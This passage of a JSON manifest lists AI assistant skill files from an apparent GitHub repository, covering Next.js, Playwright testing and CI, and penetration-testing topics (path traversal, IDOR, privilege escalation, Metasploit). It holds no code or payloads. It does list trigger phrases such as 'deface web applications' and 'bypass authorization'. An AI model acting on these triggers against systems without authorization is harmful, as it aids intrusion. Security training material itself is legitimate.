steps for beginners, or keywords like step-by-step, quickstart, or how-to guide.","license":"MIT"},"isInternal":false,"tokens":2979,"sizeBytes":13625},{"name":"SKILL.md","path":"skills/ethical-hacking-methodology/SKILL.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/ethical-hacking-methodology/SKILL.md","title":"ethical-hacking-methodology","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fethical-hacking-methodology%2FSKILL.md -->","frontmatter":{"name":"ethical-hacking-methodology","description":"This skill should be used when the user asks to \"learn ethical hacking\", \"understand penetration testing lifecycle\", \"perform reconnaissance\", \"conduct security scanning\", \"exploit vulnerabilities\", or \"write penetration test reports\". It provides comprehensive ethical hacking methodology and techniques.","metadata":{"author":"zebbern","version":"1.1"}},"isInternal":false,"tokens":2701,"sizeBytes":10882},{"name":"SKILL.md","path":"skills/file-path-traversal/SKILL.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/file-path-traversal/SKILL.md","title":"file-path-traversal","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Ffile-path-traversal%2FSKILL.md -->","frontmatter":{"name":"file-path-traversal","description":"This skill should be used when the user asks to \"test for directory traversal\", \"exploit path traversal vulnerabilities\", \"read arbitrary files through web applications\", \"find LFI vulnerabilities\", or \"access files outside web root\". It provides comprehensive file path traversal attack and testing methodologies.","metadata":{"author":"zebbern","version":"1.1"}},"isInternal":false,"tokens":3198,"sizeBytes":11814},{"name":"SKILL.md","path":"skills/html-injection-testing/SKILL.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/html-injection-testing/SKILL.md","title":"html-injection-testing","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fhtml-injection-testing%2FSKILL.md -->","frontmatter":{"name":"html-injection-testing","description":"This skill should be used when the user asks to \"test for HTML injection\", \"inject HTML into web pages\", \"perform HTML injection attacks\", \"deface web applications\", or \"test content injection vulnerabilities\". It provides comprehensive HTML injection attack techniques and testing methodologies.","metadata":{"author":"zebbern","version":"1.1"}},"isInternal":false,"tokens":3412,"sizeBytes":13044},{"name":"SKILL.md","path":"skills/http-load-profiler/SKILL.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/http-load-profiler/SKILL.md","title":"http-load-profiler","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fhttp-load-profiler%2FSKILL.md -->","frontmatter":{"name":"http-load-profiler","description":"Run stepped HTTP load tests with ab/wrk, ramping concurrency levels to collect p50/p90/p99 latency, detect performance inflection points, and recommend optimal concurrency. Triggered by requests like 'load test this URL', 'benchmark my API', 'find the max concurrency', or mentions of p99 latency, throughput saturation, or capacity planning.","license":"MIT","type":"tool","tags":["http","benchmark","performance","latency","load-testing"]},"isInternal":false,"tokens":1695,"sizeBytes":6248},{"name":"SKILL.md","path":"skills/idor-testing/SKILL.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/idor-testing/SKILL.md","title":"idor-testing","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fidor-testing%2FSKILL.md -->","frontmatter":{"name":"idor-testing","description":"This skill should be used when the user asks to \"test for insecure direct object references,\" \"find IDOR vulnerabilities,\" \"exploit broken access control,\" \"enumerate user IDs or object references,\" or \"bypass authorization to access other users' data.\" It provides comprehensive guidance for detecting, exploiting, and remediating IDOR vulnerabilities in web applications.","metadata":{"author":"zebbern","version":"1.1"}},"isInternal":false,"tokens":3061,"sizeBytes":12589},{"name":"SKILL.md","path":"skills/linux-privilege-escalation/SKILL.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/linux-privilege-escalation/SKILL.md","title":"linux-privilege-escalation","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Flinux-privilege-escalation%2FSKILL.md -->","frontmatter":{"name":"linux-privilege-escalation","description":"This skill should be used when the user asks to \"escalate privileges on Linux\", \"find privesc vectors on Linux systems\", \"exploit sudo misconfigurations\", \"abuse SUID binaries\", \"exploit cron jobs for root access\", \"enumerate Linux systems for privilege escalation\", or \"gain root access from low-privilege shell\". It provides comprehensive techniques for identifying and exploiting privilege escalation paths on Linux systems.","metadata":{"author":"zebbern","version":"1.1"}},"isInternal":false,"tokens":3241,"sizeBytes":11730},{"name":"SKILL.md","path":"skills/linux-shell-scripting/SKILL.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/linux-shell-scripting/SKILL.md","title":"linux-shell-scripting","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Flinux-shell-scripting%2FSKILL.md -->","frontmatter":{"name":"linux-shell-scripting","description":"This skill should be used when the user asks to \"create bash scripts\", \"automate Linux tasks\", \"monitor system resources\", \"backup files\", \"manage users\", or \"write production shell scripts\". It provides ready-to-use shell script templates for system administration.","metadata":{"author":"zebbern","version":"1.1"}},"isInternal":false,"tokens":3342,"sizeBytes":12408},{"name":"SKILL.md","path":"skills/localization-toolkit/SKILL.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/localization-toolkit/SKILL.md","title":"localization-toolkit","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Flocalization-toolkit%2FSKILL.md -->","frontmatter":{"name":"localization-toolkit","description":"This skill should be used when setting up, auditing, or enforcing internationalization/localization in UI codebases (React/TS, i18next or similar, JSON locales), including installing/configuring the i18n framework, replacing hard-coded strings, ensuring en-US/zh-CN coverage, mapping error codes to localized messages, and validating key parity, pluralization, and formatting."},"isInternal":false,"tokens":1227,"sizeBytes":5272},{"name":"SKILL.md","path":"skills/log-error-digest/SKILL.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/log-error-digest/SKILL.md","title":"log-error-digest","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Flog-error-digest%2FSKILL.md -->","frontmatter":{"name":"log-error-digest","description":"Analyze log files to troubleshoot errors, identify peak error periods, and produce error clustering, frequency statistics, and time distribution reports. Supports JSON, syslog, and Nginx formats with automatic detection. Use when a user uploads a .log file and asks to analyze errors, find patterns, debug issues, or get distribution stats.","license":"MIT","type":"tool","tags":["logs","analysis","devops","monitoring"]},"isInternal":false,"tokens":1057,"sizeBytes":3862},{"name":"SKILL.md","path":"skills/metasploit-framework/SKILL.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/metasploit-framework/SKILL.md","title":"metasploit-framework","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fmetasploit-framework%2FSKILL.md -->","frontmatter":{"name":"metasploit-framework","description":"This skill should be used when the user asks to \"use Metasploit for penetration testing\", \"exploit vulnerabilities with msfconsole\", \"create payloads with msfvenom\", \"perform post-exploitation\", \"use auxiliary modules for scanning\", or \"develop custom exploits\". It provides comprehensive guidance for leveraging the Metasploit Framework in security assessments.","metadata":{"author":"zebbern","version":"1.1"}},"isInternal":false,"tokens":3561,"sizeBytes":13213},{"name":"SKILL.md","path":"skills/network-101/SKILL.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/network-101/SKILL.md","title":"network-101","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fnetwork-101%2FSKILL.md -->","frontmatter":{"name":"network-101","description":"This skill should be used when the user asks to \"set up a web server\", \"configure HTTP or HTTPS\", \"perform SNMP enumeration\", \"configure SMB shares\", \"test network services\", or needs guidance on configuring and testing network services for penetration testing labs.","metadata":{"author":"zebbern","version":"1.1"}},"isInternal":false,"tokens":2008,"sizeBytes":7480},{"name":"app-router.md","path":"skills/nextjs-developer/references/app-router.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/nextjs-developer/references/app-router.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fnextjs-developer%2Freferences%2Fapp-router.md -->","isInternal":false,"tokens":1785,"sizeBytes":7105},{"name":"data-fetching.md","path":"skills/nextjs-developer/references/data-fetching.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/nextjs-developer/references/data-fetching.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fnextjs-developer%2Freferences%2Fdata-fetching.md -->","isInternal":false,"tokens":2748,"sizeBytes":10598},{"name":"deployment.md","path":"skills/nextjs-developer/references/deployment.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/nextjs-developer/references/deployment.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fnextjs-developer%2Freferences%2Fdeployment.md -->","isInternal":false,"tokens":2841,"sizeBytes":10705},{"name":"server-actions.md","path":"skills/nextjs-developer/references/server-actions.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/nextjs-developer/references/server-actions.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fnextjs-developer%2Freferences%2Fserver-actions.md -->","isInternal":false,"tokens":2431,"sizeBytes":9842},{"name":"server-components.md","path":"skills/nextjs-developer/references/server-components.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/nextjs-developer/references/server-components.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fnextjs-developer%2Freferences%2Fserver-components.md -->","isInternal":false,"tokens":2018,"sizeBytes":8439},{"name":"SKILL.md","path":"skills/nextjs-developer/SKILL.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/nextjs-developer/SKILL.md","title":"nextjs-developer","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fnextjs-developer%2FSKILL.md -->","frontmatter":{"name":"nextjs-developer","description":"Use when building Next.js 14+ applications with App Router, server components, or server actions. Invoke for full-stack features, performance optimization, SEO implementation, production deployment.","license":"MIT","metadata":{"author":"https://github.com/Jeffallan","version":"1.0.0","domain":"frontend","triggers":"Next.js, Next.js 14, App Router, Server Components, Server Actions, React Server Components, Next.js deployment, Vercel, Next.js performance","role":"specialist","scope":"implementation","output-format":"code","related-skills":"typescript-pro"}},"isInternal":false,"tokens":809,"sizeBytes":3861},{"name":"SKILL.md","path":"skills/pentest-checklist/SKILL.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/pentest-checklist/SKILL.md","title":"pentest-checklist","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fpentest-checklist%2FSKILL.md -->","frontmatter":{"name":"pentest-checklist","description":"This skill should be used when the user asks to \"plan a penetration test\", \"create a security assessment checklist\", \"prepare for penetration testing\", \"define pentest scope\", \"follow security testing best practices\", or needs a structured methodology for penetration testing engagements.","metadata":{"author":"zebbern","version":"1.1"}},"isInternal":false,"tokens":2276,"sizeBytes":10219},{"name":"SKILL.md","path":"skills/pentest-commands/SKILL.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/pentest-commands/SKILL.md","title":"pentest-commands","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fpentest-commands%2FSKILL.md -->","frontmatter":{"name":"pentest-commands","description":"This skill should be used when the user asks to \"run pentest commands\", \"scan with nmap\", \"use metasploit exploits\", \"crack passwords with hydra or john\", \"scan web vulnerabilities with nikto\", \"enumerate networks\", or needs essential penetration testing command references.","metadata":{"author":"zebbern","version":"1.1"}},"isInternal":false,"tokens":3206,"sizeBytes":9417},{"name":"SKILL.md","path":"skills/pipeline-blueprint/SKILL.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/pipeline-blueprint/SKILL.md","title":"pipeline-blueprint","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fpipeline-blueprint%2FSKILL.md -->","frontmatter":{"name":"pipeline-blueprint","description":"Provide CI/CD best practices and pipeline templates for GitHub Actions and GitLab CI, recommending configurations based on project type (frontend, backend, fullstack, library, monorepo, mobile). Trigger when users ask about setting up CI/CD, automating builds, improving pipelines, or mention keywords like GitHub Actions, GitLab CI, pipeline templates, or deployment automation.","license":"MIT"},"isInternal":false,"tokens":3812,"sizeBytes":14750},{"name":"ci-github-actions.md","path":"skills/playwright/ci/ci-github-actions.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/playwright/ci/ci-github-actions.md","title":"Ci Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fci%2Fci-github-actions.md -->","isInternal":false,"tokens":4203,"sizeBytes":17540},{"name":"ci-gitlab.md","path":"skills/playwright/ci/ci-gitlab.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/playwright/ci/ci-gitlab.md","title":"Ci Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fci%2Fci-gitlab.md -->","isInternal":false,"tokens":2964,"sizeBytes":12567},{"name":"ci-other.md","path":"skills/playwright/ci/ci-other.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/playwright/ci/ci-other.md","title":"Ci Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fci%2Fci-other.md -->","isInternal":false,"tokens":3529,"sizeBytes":16511},{"name":"docker-and-containers.md","path":"skills/playwright/ci/docker-and-containers.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/playwright/ci/docker-and-containers.md","title":"Ci Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fci%2Fdocker-and-containers.md -->","isInternal":false,"tokens":3397,"sizeBytes":14051},{"name":"global-setup-teardown.md","path":"skills/playwright/ci/global-setup-teardown.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/playwright/ci/global-setup-teardown.md","title":"Ci Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fci%2Fglobal-setup-teardown.md -->","isInternal":false,"tokens":4105,"sizeBytes":18219},{"name":"parallel-and-sharding.md","path":"skills/playwright/ci/parallel-and-sharding.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/playwright/ci/parallel-and-sharding.md","title":"Ci Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fci%2Fparallel-and-sharding.md -->","isInternal":false,"tokens":3775,"sizeBytes":16129},{"name":"projects-and-dependencies.md","path":"skills/playwright/ci/projects-and-dependencies.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/playwright/ci/projects-and-dependencies.md","title":"Ci Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fci%2Fprojects-and-dependencies.md -->","isInternal":false,"tokens":4416,"sizeBytes":19242},{"name":"reporting-and-artifacts.md","path":"skills/playwright/ci/reporting-and-artifacts.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/playwright/ci/reporting-and-artifacts.md","title":"Ci Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fci%2Freporting-and-artifacts.md -->","isInternal":false,"tokens":3963,"sizeBytes":17277},{"name":"SKILL.md","path":"skills/playwright/ci/SKILL.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/playwright/ci/SKILL.md","title":"playwright-ci","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fci%2FSKILL.md -->","frontmatter":{"name":"playwright-ci","description":"Production-ready CI/CD configurations for Playwright — GitHub Actions, GitLab CI, CircleCI, Azure DevOps, Jenkins, Docker, parallel sharding, reporting, code coverage, and global setup/teardown."},"isInternal":false,"tokens":550,"sizeBytes":2719},{"name":"test-coverage.md","path":"skills/playwright/ci/test-coverage.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/playwright/ci/test-coverage.md","title":"Ci Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fci%2Ftest-coverage.md -->","isInternal":false,"tokens":3559,"sizeBytes":15619},{"name":"accessibility.md","path":"skills/playwright/core/accessibility.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/playwright/core/accessibility.md","title":"Core Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2Faccessibility.md -->","isInternal":false,"tokens":10938,"sizeBytes":50072},{"name":"angular.md","path":"skills/playwright/core/angular.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/playwright/core/angular.md","title":"Core Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2Fangular.md -->","isInternal":false,"tokens":9563,"sizeBytes":41694},{"name":"api-testing.md","path":"skills/playwright/core/api-testing.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/playwright/core/api-testing.md","title":"Core Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2Fapi-testing.md -->","isInternal":false,"tokens":11148,"sizeBytes":50106},{"name":"assertions-and-waiting.md","path":"skills/playwright/core/assertions-and-waiting.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/playwright/core/assertions-and-waiting.md","title":"Core Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2Fassertions-and-waiting.md -->","isInternal":false,"tokens":6121,"sizeBytes":27436},{"name":"auth-flows.md","path":"skills/playwright/core/auth-flows.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/playwright/core/auth-flows.md","title":"Core Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2Fauth-flows.md -->","isInternal":false,"tokens":7964,"sizeBytes":33349},{"name":"authentication.md","path":"skills/playwright/core/authentication.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/playwright/core/authentication.md","title":"Core Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2Fauthentication.md -->","isInternal":false,"tokens":11108,"sizeBytes":49862},{"name":"browser-apis.md","path":"skills/playwright/core/browser-apis.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/playwright/core/browser-apis.md","title":"Core Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2Fbrowser-apis.md -->","isInternal":false,"tokens":5136,"sizeBytes":24555},{"name":"browser-extensions.md","path":"skills/playwright/core/browser-extensions.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/playwright/core/browser-extensions.md","title":"Core Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2Fbrowser-extensions.md -->","isInternal":false,"tokens":3075,"sizeBytes":14980},{"name":"canvas-and-webgl.md","path":"skills/playwright/core/canvas-and-webgl.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/playwright/core/canvas-and-webgl.md","title":"Core Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2Fcanvas-and-webgl.md -->","isInternal":false,"tokens":4633,"sizeBytes":20306},{"name":"clock-and-time-mocking.md","path":"skills/playwright/core/clock-and-time-mocking.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/playwright/core/clock-and-time-mocking.md","title":"Core Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2Fclock-and-time-mocking.md -->","isInternal":false,"tokens":4653,"sizeBytes":19948},{"name":"common-pitfalls.md","path":"skills/playwright/core/common-pitfalls.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/playwright/core/common-pitfalls.md","title":"Core Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2Fcommon-pitfalls.md -->","isInternal":false,"tokens":10986,"sizeBytes":45467},{"name":"component-testing.md","path":"skills/playwright/core/component-testing.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/playwright/core/component-testing.md","title":"Core Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2Fcomponent-testing.md -->","isInternal":false,"tokens":10391,"sizeBytes":47533},{"name":"configuration.md","path":"skills/playwright/core/configuration.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/playwright/core/configuration.md","title":"Core Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2Fconfiguration.md -->","isInternal":false,"tokens":5608,"sizeBytes":25604},{"name":"crud-testing.md","path":"skills/playwright/core/crud-testing.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/playwright/core/crud-testing.md","title":"Core Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2Fcrud-testing.md -->","isInternal":false,"tokens":7757,"sizeBytes":31801},{"name":"debugging.md","path":"skills/playwright/core/debugging.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/playwright/core/debugging.md","title":"Core Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2Fdebugging.md -->","isInternal":false,"tokens":6135,"sizeBytes":27166},{"name":"drag-and-drop.md","path":"skills/playwright/core/drag-and-drop.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/playwright/core/drag-and-drop.md","title":"Core Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2Fdrag-and-drop.md -->","isInternal":false,"tokens":7345,"sizeBytes":29416},{"name":"electron-testing.md","path":"skills/playwright/core/electron-testing.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/playwright/core/electron-testing.md","title":"Core Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2Felectron-testing.md -->","isInternal":false,"tokens":4968,"sizeBytes":22920},{"name":"error-and-edge-cases.md","path":"skills/playwright/core/error-and-edge-cases.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/playwright/core/error-and-edge-cases.md","title":"Core Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2Ferror-and-edge-cases.md -->","isInternal":false,"tokens":9306,"sizeBytes":40092},{"name":"error-index.md","path":"skills/playwright/core/error-index.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/playwright/core/error-index.md","title":"Core Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2Ferror-index.md -->","isInternal":false,"tokens":11844,"sizeBytes":50246},{"name":"file-operations.md","path":"skills/playwright/core/file-operations.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/playwright/core/file-operations.md","title":"Core Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2Ffile-operations.md -->","isInternal":false,"tokens":6052,"sizeBytes":26731},{"name":"file-upload-download.md","path":"skills/playwright/core/file-upload-download.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/playwright/core/file-upload-download.md","title":"Core Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2Ffile-upload-download.md -->","isInternal":false,"tokens":7225,"sizeBytes":30292},{"name":"fixtures-and-hooks.md","path":"skills/playwright/core/fixtures-and-hooks.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/playwright/core/fixtures-and-hooks.md","title":"Core Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2Ffixtures-and-hooks.md -->","isInternal":false,"tokens":7736,"sizeBytes":33733},{"name":"flaky-tests.md","path":"skills/playwright/core/flaky-tests.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/playwright/core/flaky-tests.md","title":"Core Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2Fflaky-tests.md -->","isInternal":false,"tokens":7492,"sizeBytes":31740},{"name":"forms-and-validation.md","path":"skills/playwright/core/forms-and-validation.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/playwright/core/forms-and-validation.md","title":"Core Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2Fforms-and-validation.md -->","isInternal":false,"tokens":9189,"sizeBytes":40087},{"name":"i18n-and-localization.md","path":"skills/playwright/core/i18n-and-localization.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/playwright/core/i18n-and-localization.md","title":"Core Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2Fi18n-and-localization.md -->","isInternal":false,"tokens":5794,"sizeBytes":24976},{"name":"iframes-and-shadow-dom.md","path":"skills/playwright/core/iframes-and-shadow-dom.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/playwright/core/iframes-and-shadow-dom.md","title":"Core Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2Fiframes-and-shadow-dom.md -->","isInternal":false,"tokens":4569,"sizeBytes":21002},{"name":"locator-strategy.md","path":"skills/playwright/core/locator-strategy.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/playwright/core/locator-strategy.md","title":"Core Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2Flocator-strategy.md -->","isInternal":false,"tokens":4914,"sizeBytes":20612},{"name":"locators.md","path":"skills/playwright/core/locators.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/playwright/core/locators.md","title":"Core Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/zebbern/claude-code-guide?path=skills%2Fplaywright%2Fcore%2Flocators.md 